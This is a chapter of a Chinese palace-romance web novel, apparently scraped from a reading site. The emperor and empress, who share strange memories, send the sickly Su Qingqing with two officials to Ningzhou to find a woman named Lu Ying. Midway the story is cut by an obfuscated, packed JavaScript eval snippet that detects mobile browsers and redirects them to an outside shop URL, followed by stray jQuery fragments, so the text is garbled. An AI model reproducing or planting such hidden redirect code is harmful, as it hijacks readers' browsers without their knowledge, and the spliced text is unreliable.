3. 这是我的茶盏

作品:《相府千金是团宠

    苏家用轿子接苏青青的事,很快成了人们茶余饭后的闲谈内容。


    静心茶馆。


    平常爱听书的几个常客,也开始谈起苏青青。


    “唉,我要是有她那样的命就好了,苏家真宠她。”


    “不过,苏家小姐体弱多病,又是苏丞相唯一的女儿,苏家宠她也正常。”


    “依我看,苏家小姐人恐怕是不行了,不然苏家干嘛这么紧张她?”


    “会不会苏小姐已经死了?用轿子抬她是为了掩人耳目?”


    “不可能,有人看见她自己上的轿子,总不至于是僵尸吧。”


    那人说得绘声绘色。


    原本一场正常的闲谈,渐渐染上了一层灵异色彩,并因此终结。


    说者无心,听者却有心。


    茶馆里坐着不少贵人家眷,听闻苏家小姐的事,回去便和家里的官老爷说起。


    “苏家小姐的病估计变重了,我们要不要去探望一番?”


    常言道三人成虎,这件事越传越离谱,有人说苏青青病重,有人说她已死,还有人说她涅槃重生!


    最后却殊途同归,不少官员和家眷都决定去苏家探望苏小姐。


    如此,不仅能与苏相套近乎,还能验证一下关于苏小姐病情的各种猜测。


    一开始,苏渊还很欣慰有这么一群热心的同僚,然而来的人多了,他便觉得其中有蹊跷,不再收这些人的礼物。


    不过这些人的礼物都是给苏青青的,因此,苏渊考虑再三,就去找女儿坦白:“青青,来看望你的人太多,我们家不能再收他们的礼物了。”


    苏青青歪着脑袋看他,一副正在思考难做决定的样子。


    苏渊一脸凝重地等待女儿的不悦,等了好一会儿。


    苏青青蹙着眉开口了:“爹,你说话本里的人物会出现在现实里吗?”


    苏渊:“???”


    他松了口气,含糊道:“这个……爹爹平常公务繁忙,很少看话本,回答不了你这个问题。”


    “哦。”小姑娘垂下眸,失落的情绪都写在了脸上。


    ……


    炎炎夏日,宁州闹瘟疫了,求援的奏帖送至皇帝手中。


    皇帝带着奏帖来到凤仪宫,找皇后议国事。


    皇后阅完奏帖,不由目光一顿,心里掀起惊涛骇浪。


    宁州瘟疫,这真的和记忆里发生的事一模一样。


    皇帝疑惑地看着她。


    他其实知道该派哪些人,不过在那些陌生的记忆里,他记得他向皇后请教了赈灾事宜。皇后的想法会与他不谋而合。


    皇后给出了和记忆中一样的建议:“派参知政事去赈灾吧,他性格刚直,合适这门差事。另外还可以让初言也去历练历练,他这些年排兵布阵是学了不少,是时候再学学体察民情了。”


    皇帝龙颜大悦:“妙计!朕听皇后的!”


    皇后默默瞥他一眼,心中纳闷,往常的陛下没那么没主见呀。


    帝后二人吃着一盘荔枝,继续讨论其他奏帖,直到二人的眼皮都开始变沉。


    皇后打了个哈欠,准备就寝:“对了,陛下,咱们想个办法,让苏家女也去宁州吧!”


    皇帝整理奏帖的手一下子顿住,困意也散了大半,回眸与她深深对望。


    “宜风,你是不是……也有一些莫名其妙的记忆在脑子里?”


    “也?”皇后愣了一下,莞尔道:“我原以为只我一人是这样?”


    帝后二人一直感情和睦,互相知道秘密后,很快就坦然接受了。


    就寝后,皇帝还在考虑方才的话题:“听闻苏青青不久前在集市晕倒,这可是记忆里没有发生的事,朕觉得,她或许命中是有转机的,比如去宁州找那个卢英。”


    其实他在给赵家办接风宴之时,就想起这件事,然而宴会上人多嘴杂,他身为帝王也一样不能随意开口,更何况那日苏青青不在。


    皇后也顺着他的思路往下说:“我们让苏青青去找卢英,得有个适当的理由。”


    “这个你就不用操心,朕来安排。”


    皇后刚想问他如何安排,就只听耳畔传来呼声。


    翌日,皇帝下旨请沈尘德和赵初言,以及苏青青一起进宫觐见。


    这让去宣旨的魏公公百思不得其解。


    沈尘德,是参知政事,位同副相,找他商量国事再正常不过。


    赵初言,据说在北漠战场上表现优异,皇上或许是对他另有奖赏。


    苏青青,苏相之女,病到走路都成困难的姑娘,皇上见她干嘛?


    疑惑归疑惑,他到底是不敢揣测圣心的,很快将这三人接进宫。


    其中,在苏渊的坚持下,苏青青是坐轿子进宫的。


    苏青青来到富丽堂皇的两仪殿,只见天子正襟危坐,一旁却杵着一扇屏风,屏风后似有人坐着喝茶。


    “臣/臣女拜见陛下。”


    “平身,给苏姑娘赐座。”


    “谢陛下。”苏青青瞥了眼一旁的沈尘德,沈大人年过六旬,也应该有座的,“陛下,沈大人年事已高,您也给他赐座吧!”


    “臣没老!”一头鹤发的沈尘德垮着脸道。


    在场的众人都笑了,就连屏风后的皇后也笑了。


    笑得茶水都洒了。


    噗,这倔老头。


    平日里跟苏渊不对付也就罢了,怎么还和人家的闺女也杠上了?


    皇帝试图安抚这不服老的沈尘德:“行了沈爱卿,朕一视同仁,给你们都赐座。”


    这下,三人都有了座位,终于可以谈正事了。


    皇帝又恢复平常的威严姿态,“宁州突发鸡瘟,染者已有数千,百姓人心惶惶,宁州父母官们联名上书,请求朕派人赈灾。朕觉得沈爱卿是最合适的人选,考虑到爱卿的年纪,朕打算派一青年才俊协助你。”


    “让赵初言跟你去,你意下如何?”


    “臣无意见。”


    沈尘德顿时松了口气,他被宣旨进宫的时候,就猜到皇上要派他去宁州赈灾,但他看见苏青青一个女娃娃也在,差点吓死。


    他刚才都想好了,若是陛下执意让他带苏青青去赈灾,那他就算是撞柱直谏,也得劝陛下改主意。


    他倒不是真对苏家女有意见,只是一个病秧子,去瘟疫盛行之地,那算送死还是以毒攻毒?


    听到陛下要派自己去宁州,赵初言目瞪口呆。


    前几日,苏丞相夫妇和苏少卿还向他提起,要是去宁州,帮他们找个叫卢英的女子。


    竟然这么快就要实现了?


    这到底怎么回事?


    沈尘德和赵初言都被陛下派去宁州。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949180|193053||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    那么问题来了,陛下为何宣苏青青进宫呢?


    皇帝让宫人送了些茶水点心进来,一边吃着点心,一边侃侃而谈:“唉,说起宁州,朕听太后说起过,先帝曾去过宁州,与当地的女子有过一个女婴,姓卢名英。


    “先帝亏欠她,朕想找到她、替先帝补偿她,但这又事关先帝名誉,朕不方便大张旗鼓地去找她。因此,朕想拜托苏姑娘去宁州找她。”


    苏青青认真听完皇帝所言,一双杏眸熠熠生辉,连“臣女遵旨”都是过了好一会儿才想到说。


    她没想到,自己有一天,也会被人委以重任、也可以去一个陌生的地方。


    这种感觉,让她好高兴。


    卢英!又是去宁州找卢英?


    赵初言拿起一茶盏,那一点点茶水在盏中晃来晃去。


    他觉得自己在做梦,该喝口茶清醒清醒。


    于是一饮而尽。


    苏青青用食指轻轻戳了戳他,神色复杂,压低声音提醒他:“初言哥哥,这是我的茶盏。”


    赵初言:“……”


    “那你用我的茶盏?”


    小姑娘两边嘴角压下,别过脸去不理会他。


    屏风后,耳力极好的皇后不禁捂脸。


    她起身站在屏风边缘,微微侧头,露出一只眼眸,默默观察起赵初言。


    明明几日前刚见过,她就觉得小崽子又长高了。


    赵初言注意到那抹温柔的目光,开始心不在焉起来。


    反观他身边两人,沈尘德一心品茶,苏青青聚精会神听皇上说话。


    皇帝微笑道:“当然,朕考虑到苏姑娘体弱多病,决定让你和沈爱卿他们一路同行,这样也好有个照应。”


    沈尘德一激动,一口茶水卡入喉间:“咳咳咳!陛下……”


    你让臣一个六旬老人,要照顾一个病弱女子,会不会太残忍了些?


    后面的话他很想说,可惜被茶呛着,说不出来。


    “谢谢陛下!”苏青青弯起唇,乖巧地福了福身。


    该谈的事都谈完了,皇帝让太监送三人离宫。


    皇后从屏风后走出来,眸中含着泪花,声音哽咽:“陛下,他才回来没多久……”


    她一眨眼,潸然泪下:“臣妾想多看他几眼。”


    她正是为了多看几眼,才冒着被朝臣弹劾“干政”的风险,躲在屏风后默默听他们议事。


    “宜风,朕也舍不得啊。”皇帝起身看向她,叹了口气。


    随即,将人抱入怀里,轻声细语地哄道:“不哭不哭,不是还有朕陪着你吗?”


    回家路上,苏青青没有轿子坐了,原因是那轿子是魏公公临时雇的。


    但魏公公又为她备好了马车。


    苏青青前脚刚上马车,后脚赵初言也进来车厢,他沉声道:“顺路,一起坐。”


    小姑娘的俏脸一下子沉下来。


    虽然大梁民风开放,可未婚男女同坐一辆马车,还是会被人说闲话的。


    “你很想离开京城走一走吧?”赵初言瞥她一眼,似笑非笑,“宁州之行,我来跟伯父伯母说。”


    苏青青依旧没搭理他,微翘的嘴角却出卖了她。


    她还没有离开过京城呢……她也想去宁州,帮陛下、甚至帮天下做点事,不想做一直卧病在床的废人。